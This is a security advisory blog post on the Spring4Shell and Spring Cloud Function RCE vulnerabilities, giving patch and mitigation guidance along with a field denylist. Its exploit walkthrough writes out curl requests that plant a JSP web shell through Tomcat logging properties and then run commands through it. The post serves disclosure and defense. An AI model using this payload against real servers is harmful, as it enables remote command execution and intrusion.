---
title: "Spring4Shell: Security Analysis of the latest Java RCE '0-day' vulnerabilities in Spring"
description: "We've been taking a look at the new zero-day exploit, dubbed Spring4Shell, supposedly discovered in Spring Core to determine if it's a problem or not, as well as explained another RCE vulnerability found in Spring."
slug: spring-rce-vulnerabilities
date: 2022-03-31T23:57
image: https://www.lunasec.io/docs/img/spring4shell-logo.png
keywords: [zero-day, rce, java, spring]
tags: [zero-day, security, data-security]
authors: [free, chris, forrest]
---

<!--
  ~ Copyright by LunaSec (owned by Refinery Labs, Inc)
  ~
  ~ Licensed under the Creative Commons Attribution-ShareAlike 4.0 International
  ~ (the "License"); you may not use this file except in compliance with the
  ~ License. You may obtain a copy of the License at
  ~
  ~ https://creativecommons.org/licenses/by-sa/4.0/legalcode
  ~
  ~ See the License for the specific language governing permissions and
  ~ limitations under the License.
  ~
-->

![Spring4Shell Logo](https://www.lunasec.io/docs/img/spring4shell-logo.png)

<figcaption style={{fontSize:'small'}}>Logo by <a href="https://github.com/BobTheShoplifter/Spring4Shell-POC">Daniel Christensen</a></figcaption>

Originally posted March 30th, 2022.

**Update, Patch Available**: Patches are now available for Spring4Shell in
[Spring versions 5.3.18 and 5.2.20](https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement) and an
official CVE has been published as [CVE-2022-22965](https://tanzu.vmware.com/security/cve-2022-22965).

### What is it?

Two serious vulnerabilities leading to remote code execution (RCE) have been found in the popular Spring framework, one
in _Spring Core_ and the other in _Spring Cloud Functions_.

<!--truncate-->

## Who is impacted?
Anyone using Spring on `Java 9` or newer, especially those using TomCat. Java 8 does not appear to be vulnerable.

So far, the only confirmed exploit depends on Spring being deployed with TomCat. However, other vectors may be discovered.
We recommend all Spring users update, starting with those using TomCat.

## The two vulnerabilities

#### 1. Spring4Shell - an RCE in _Spring Core_
This vulnerability, dubbed "Spring4Shell", leverages class injection leading to a full RCE, and is very severe.
The name "Spring4Shell" was picked because Spring Core is a ubiquitous library, similar to log4j which spawned the infamous [Log4Shell vulnerability](https://www.wired.com/story/log4j-flaw-hacking-internet/).

We believe that users running JDK version 9 and newer are vulnerable to an RCE attack. All versions of Spring Core are
impacted.

There are strategies to mitigate the attack, and we believe that not all Spring servers are
necessarily vulnerable, depending on other factors [discussed below](#spring4shell). That said, we currently recommend
that all users apply mitigations or update if they are using Spring Core.

A CVE has now been published for this vulnerability as [CVE-2022-22965](https://tanzu.vmware.com/security/cve-2022-22965).

Note: there is also an unconfirmed deserialization weakness in Spring Core that could potentially lead to an RCE for _Spring Core <=5.3.17_.


[More details on this vulnerability below](#applying-mitigations)

#### 2. RCE in "Spring Cloud Function"

- [CVE-2022-22963](#cve-2022-22963): A _confirmed RCE_ in *Spring Cloud Function* (<=3.1.6 and <=3.2.2).

If you're using the Spring Cloud Function library, you must upgrade to 3.1.7+ or 3.2.3+ to prevent an RCE attack.

[More details on CVE-2022-22963 below](#cve-2022-22963---a-separate-vulnerability)

## Spring4Shell

On March 29th, 2022, a set of Tweets (now deleted) were published from a Chinese Twitter account showing screenshots of a
new POC 0-day exploit in the popular Java library *Spring Core*. It is being referred to as "Spring4Shell" or
"SpringShell" by users online.

A CVE was added on March 31st, 2022 by the Spring developers as [CVE-2022-22965](https://tanzu.vmware.com/security/cve-2022-22965).


**Update**: The authors of Spring have _published a patch for this with
[versions 5.3.18 and 5.2.20](https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement)_

### Applying Mitigations

A patch is now
available as of March 31st, 2022 in the newest published
[Spring versions 5.3.18 and 5.2.20](https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement). We recommend
all users update. For those unable to update, the following mitigations are possible:

According to the [Praetorian post](https://www.praetorian.com/blog/spring-core-jdk9-rce/) confirming the presence of an
RCE in Spring Core, the currently recommended approach for is to patch `DataBinder` by adding a blacklist of vulnerable
field patterns required for exploitation.

_Review [our section](#exploit-scenario-overview) on how exploitation works and why these mitigations patch the
"Class Loader Manipulation" attack vector used by the RCE._

:::note
Getting Spring to load `BinderControllerAdvice` may require manual steps to have it load. We'll update this guide with
more details about how to do that soon.
:::

```ts
import org.springframework.core.Ordered;
import org.springframework.core.annotation.Order;
import org.springframework.web.bind.WebDataBinder;
import org.springframework.web.bind.annotation.ControllerAdvice;
import org.springframework.web.bind.annotation.InitBinder;

@ControllerAdvice
@Order(10000)
public class BinderControllerAdvice {
    @InitBinder
    public void setAllowedFields(WebDataBinder dataBinder) {
        // This code protects Spring Core from a "Remote Code Execution" attack (dubbed "Spring4Shell").
        // By applying this mitigation, you prevent the "Class Loader Manipulation" attack vector from firing.
        // For more details, see this post: https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/
        String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
        dataBinder.setDisallowedFields(denylist);
    }
}
```

Alternatively, you can inject the mitigations by adding a method to a controller:

```ts
import com.pinger.fun.model.EvalBean;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.propertyeditors.StringTrimmerEditor;
import org.springframework.ui.Model;
import org.springframework.web.bind.WebDataBinder;
import org.springframework.web.bind.annotation.InitBinder;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

import javax.servlet.ServletContext;
import javax.servlet.http.HttpServletRequest;

@RestController
public class IndexController {
    @RequestMapping("/index")
    public void index(EvalBean evalBean){
        System.out.println("Hello world!");
    }

    // You only need to add this method in one of your controllers in order to prevent exploitation.
    @InitBinder
    public void initBinder(WebDataBinder binder) {
        // This code protects Spring Core from a "Remote Code Execution" attack (dubbed "Spring4Shell").
        // By applying this mitigation, you prevent the "Class Loader Manipulation" attack vector from firing.
        // For more details, see this post: https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/
        String[] blackList = {"class.*","Class.*","*.class.*",".*Class.*"};
        binder.setDisallowedFields(blackList);
    }
}

```

### Our Analysis

The speculation around this RCE was initially that this was related to a
[change that was made to Spring Core](https://github.com/spring-projects/spring-framework/commit/7f7fb58dd0dae86d22268a4b59ac7c72a6c22529)
the deprecates an old "exception cloning" function that uses Java serialization and deserialization. This is problematic
because deserialization with untrusted string values, in Java, _does_ allow an attacker to gain RCE.

~~However, in this case, there are mitigating factors because of where this function is exposed. By default, it's only
exposed in the `@CacheResult` annotation ([code](https://github.com/spring-projects/spring-framework/blob/02d3e00d33a578fb776cc2c65a9c15d9a75b2072/spring-context-support/src/main/java/org/springframework/cache/jcache/interceptor/CacheResultInterceptor.java#L125))
which requires an exception to be thrown and _then_ cached. Even if this vulnerability is exploitable, it will not be as
easily exploitable as [Log4Shell](https://www.lunasec.io/docs/blog/log4j-zero-day) was.~~ _This was not the attack vector originally hypothesized._

:::info
**Update:** The originally hypothesized
"[Deserialization Injection](https://owasp.org/www-pdf-archive/GOD16-Deserialization.pdf)" vector was not the attack
vector used by the original deleted Twitter screenshots. People have confirmed that the issue is due to a weakness that
enables a "Class Loader Manipulation" attack when `@RequestMapping` is used to parse a request.
:::

### Exploit Scenario Overview

_We've reverse engineered this information by analyzing a few POCs like [this one](https://github.com/TheGejr/SpringShell)
and by writing an app to help us test for "real" exploitation._

Consider the below code:

```ts
public class Greeting {
	private long id;

	public long getId() {
		return id;
	}

	public void setId(long id) {
		this.id = id;
	}
}

@Controller
public class HelloController {
    @PostMapping("/greeting")
    public String greetingSubmit(@ModelAttribute Greeting greeting, Model model) {
        return "hello";
    }
}
```

Executing the request:
```shell
curl 'http://localhost:8080/greeting?id=test'
```

Will attempt to parse the query parameters `id=test` into the Plain Old Java Object (POJO) `request` which is of type `Greeting`.
With this normal request, Spring's `RequestMapping` will use the setter for `id` to set the POJO's name field to `"test"`.

The vulnerability exists due to other values that can be set.

[![Spring4Shell Exploitation](https://www.lunasec.io/docs/img/Cheese_Wed-30Mar22_14.30.png)](https://www.lunasec.io/docs/img/Cheese_Wed-30Mar22_14.30.png)

Exploring the values that can be set using query parameters, we see that `class` is accessible. We can traverse the properties of `class` with our query parameter
and locate a field that we can both write to and has meaning to the execution of the program:

```shell
curl 'http://localhost:8080/spring4shell?class.module.classLoader.resources.context.parent.pipeline.first.pattern=test'
```

Subsequent requests can be issued which set the following Tomcat logging properties:
```shell
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
```

Exploiting this vulnerability is similar to the method for exploiting [CVE-2010-1622](http://blog.o0o.nu/2010/06/cve-2010-1622.html).

Issuing a final request will use the values that have been set to exploit the vulnerability
```shell
curl http://localhost:8080/shell.jsp?cmd=whoami
```

A file will be written to: `webapps/ROOT/shell.jsp` and it will contain the payload from the Tomcat pattern property set above.
This file will be used for format the logs for the server and an arbitrary command can be passed in using the query parameter `cmd`.

It is important to note that this has only been tested to work on an [Apache Tomcat server](https://github.com/lunasec-io/Spring4Shell-POC/blob/master/Dockerfile#L1).
Without being run on a Tomcat server, the above logging properties will not exist. Another, as of yet unknown method of exploitation would be needed.

### Test the Exploit yourself

You can now test the end-to-end exploitation of Spring4Shell with
[this vulnerable app and exploit](https://github.com/lunasec-io/Spring4Shell-POC) we have published. This is a fork of reznok's Spring4Shell POC.
Code for the exploit can be found [in this file](https://github.com/lunasec-io/Spring4Shell-POC/blob/master/exploit.py).


We've gone through and verified that this exploit is functional by building on the work of the many other security
researchers digging into this. As we continue to work on it, we'll be adding additional changes to that repo.

_From sketchy Twitter screenshots to a working POC in under 48 hours! It's been a wild ride, y'all. Thank you,
everybody working on this, for your help to make that possible!_




---

## [CVE-2022-22963](https://tanzu.vmware.com/security/cve-2022-22963) - A Separate Vulnerability

A serious RCE vulnerability discovered in the *Spring Cloud Function* library. This is a separate vulnerability than Spring4Shell, discussed above.

Because this vulnerability was discovered almost
simultaneously alongside Spring4Shell, and was first to have a CVE published, there was much confusion between the two online.
This is being tracked by
[CVE-2022-22963](https://tanzu.vmware.com/security/cve-2022-22963), and it affects the *Spring Cloud Function* library
_only_ which is a separate Java library from *Spring Core*.

This vulnerability currently has a *CVSS score of 5.7* and
has known POCs available on [Twitter](https://twitter.com/bytehx343/status/1509034539330732033) and
[GitHub](https://github.com/dinosn/CVE-2022-22963) ([another](https://github.com/RanDengShiFu/CVE-2022-22963)).

### Our Analysis

This vulnerability is real. If you're using the Spring Cloud Function library, you should upgrade to 3.1.7+ or 3.2.3+ to
mitigate this RCE.

---

## The Current Situation

Trying to understand what information is "real" and what mitigations actually work is very difficult
before a CVE is published. That was especially true when the
[Spring developers themselves](https://twitter.com/hacksilon/status/1509117953064812547) originally denied that there was a problem.

Now that an official CVE and Spring patches have been published, there is a clear mitigation path for users.

This was a particularly confusing situation because two vulnerabilities were published in Spring spring packages
(Spring Core and Spring Cloud Function) at almost the same time. Now that an official CVE for Spring4Shell has been published
as [CVE-2022-22965](https://tanzu.vmware.com/security/cve-2022-22965),
it's much clearer to differentiate the two.


What is important to remember is that this vulnerability is *NOT* as bad a Log4Shell. All attack scenario are more
complex and have more mitigating factors than Log4Shell did because of the nature of
how ~~deserialization exploits~~ _Class Loader Manipulation_ attacks work in Java.

With Log4Shell, exploitation was trivial and an exploit could be written in seconds that worked on most apps.

With Spring4Shell, exploitation requires deep Java knowledge to get a functioning POC. Class Loader Manipulation is more complicated to
understand than the Log4Shell vulnerability.

## Some Context




#### Deserialization alone is not a CVE

Why not declare this a problem immediately and add to the panic?

When we initially wrote this post, the level of uncertainty was _much higher_ than it is now. And, by itself, Code
Execution isn't terribly concerning. JavaScript still has the `eval` function included in every Node.js server or
browser, but it's not considered to be a security vulnerability until an attacker has a way to feeding string input into
`eval` with content they control.

In order to achieve that, for most applications, an attacker would have to be able to modify the application's source
code directly in order to give themselves access to execute `eval`. And, at that point, they wouldn't need `eval` anymore
because they can just put in their own code anyway!

That's what why security experts call them "Remote Code Execution" (RCE) attacks. We're only ever concerned when an
unauthorized user is able to *Remotely* execute code. That's what made Log4Shell
such a bad RCE vulnerability because developers log user-controlled variables (like usernames) all the time!

#### Similarities to Log4Shell

There are a lot of similarities between Spring4Shell and Log4Shell beyond their names. Back in December we were the first team to write
about the (at the time speculated) [Java RCE vulnerability in log4j](https://www.lunasec.io/docs/blog/log4j-zero-day) that we found floating around
on Twitter.

We initially named that vulnerability "Log4Shell" because, at the time, because
[CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) hadn't been published nor had the Apache team
published about any security notices about the issue.

And, just like then, misinformation was able to spread quickly and easily. It's much easier to photoshop a
screenshot showing an exploit and "redact the details" than it is to investigate a security vulnerability in a large
code base like Spring Core. It's also easy to tell people how to "fix" the vulnerability without any proof that the
mitigations are effective. (Which is why a [2nd CVE was published in log4j](https://www.lunasec.io/docs/blog/log4j-zero-day-update-on-cve-2021-45046/).)

Users on Twitter have been calling this possible RCE "Spring4Shell" to differentiate the RCE vulnerabilities. We're
doubling down on that term, in lieu of a proper CVE, to help users search for it separately from the other RCE mentioned
in this post.

Fortunately, this isn't the first "incident" we've responded to, and we're happy to help tame the chaos. See our list of
kudos at the bottom of this post to see who else helped us write this!

## Get notified automatically


We've been actively posting small updates and details in
[this Twitter thread](https://twitter.com/LunaSecIO/status/1509084844042510336). If you'd like to get automatically
updated about new developments relating to Spring4Shell, you may
[subscribe to our newsletter](#get-notified-automatically) at the bottom of this post.


You can join our email updates newsletter at the bottom of this post to receive updates from us whenever we publish them.

We promise not to spam you and to only email you a few times per month. We're just a team of Security Engineers building
Open Source Application Security tooling, and not a company trying to just hop on the latest
[vulnerability hype train](https://www.lunasec.io/docs/blog/log4j-hype-train/).

In addition, we're currently building an Open Source tool called LunaTrace that is designed to notify you when new
vulnerabilities like this one are found in your code. The code is available on [GitHub](https://github.com/lunasec-io/lunasec)
and our hosted version is available to [try out](https://lunatrace.lunasec.io/) (it's still under active development, so
expect bugs). It's also available as a [GitHub App](https://github.com/apps/lunatrace-by-lunasec/) that will scan your
Pull Requests automatically for new vulnerabilities.

:::info Contact Us
If you'd like to contribute any specific information about this vulnerability, we encourage you to add it to this blog
post directly by
[adding it yourself on GitHub](https://github.com/lunasec-io/lunasec/blob/master/docs/blog/2022-03-30-spring-core-rce.mdx)!
Once you do, please send us a Pull Request.

You can also [email us](mailto:contact@lunasec.io) with any discoveries or corrections. Or, mention us on [Twitter](https://twitter.com/LunaSecIO).
 We're happy to
retweet anything valuable.
:::


### About Us

-------

> **"It's an order of magnitude less work to create a lie than to refute one."**
*- A former colleague*

-------

Why listen to us?

With chaos everywhere, it can be hard to know who to trust. So why this post versus any other?

We're all Security Engineers with experience dealing with chaos. In addition to writing a
[mitigation guide for Log4Shell](https://www.lunasec.io/docs/blog/log4j-zero-day-mitigation-guide), we've also been
validating bug reports professionally for years. We helped run the Bug Bounties at
Uber and Snapchat, wading through many false reports. Because of that, we work hard to verify vulnerabilities
_before_ we sound the alarm.

We're committed to only publishing the facts and our thoughts _after_ we've had time to understand them.

### Help us build Open Source AppSec Tools

If this post helped you, please consider saying thank you. We do the work of publishing these posts for free because we
believe that it's the best way to contribute back to the world. Cyberattacks are a real problem, and the current war in
Ukraine has only added to that risk.

How to help us:
- [Star us on GitHub](https://github.com/lunasec-io/lunasec) and check out our tools,
- Subscribe to our newsletter below (only a few emails per month, promise!),
- Follow us on [Twitter](https://twitter.com/LunaSecIO/) and [retweet this thread](https://twitter.com/LunaSecIO/status/1509084844042510336),
- [Email us](mailto:contact@lunasec.io) about using trying an early build of LunaTrace.

import ContactForm from '../src/components/ContactForm.jsx'

<ContactForm/>

## References

We wanted to say "thank you" to the following authors for their assistance helping to warn others about this.

- Thank you BugAlert.org for their post about this on
[GitHub](https://github.com/BugAlertDotOrg/bugalert/blob/main/content/notices/2022-03-29-spring.md).
- Thank you to CyberKendra for [their post](https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html)
translating content from Chinese to English and warning others.
- Thank you to [Praetorian](https://www.praetorian.com/blog/spring-core-jdk9-rce/) for digging into this exploit,
figuring it out, and working with the Spring developers to help get a patch released!
- Thank you to [Daniel Christensen](https://github.com/BobTheShoplifter/Spring4Shell-POC) for providing a logo like the
old OG Log4Shell one!

### Updates

1. 3/30/22 @ 10am PDT: First post.
2. 3/30/22 @ 3pm PDT: Updated the post with more details from Praetorian, and refactored the content to make it easier to read.
3. 3/31/22 @ 12:08 PDT: Update exploitation details of the vulnerability now that we know how to exploit it.
4. 3/31/22 @ 12:55pm PDT: Added information about the new CVE and available patch versions from the Spring devs.
5. 3/31/22 @ 3:58pm PDT: Fixed a typo with the Spring versions. They were the versions from Spring Boot, not Spring itself.
6. 3/31/22 @4:57pm PDT: Added information about an end-to-end vulnerable app + POC.
7. 4/1/22 @6:00pm PDT: Major article rework / reorganization. Many outdated statements that were previous struck-through have been deleted.
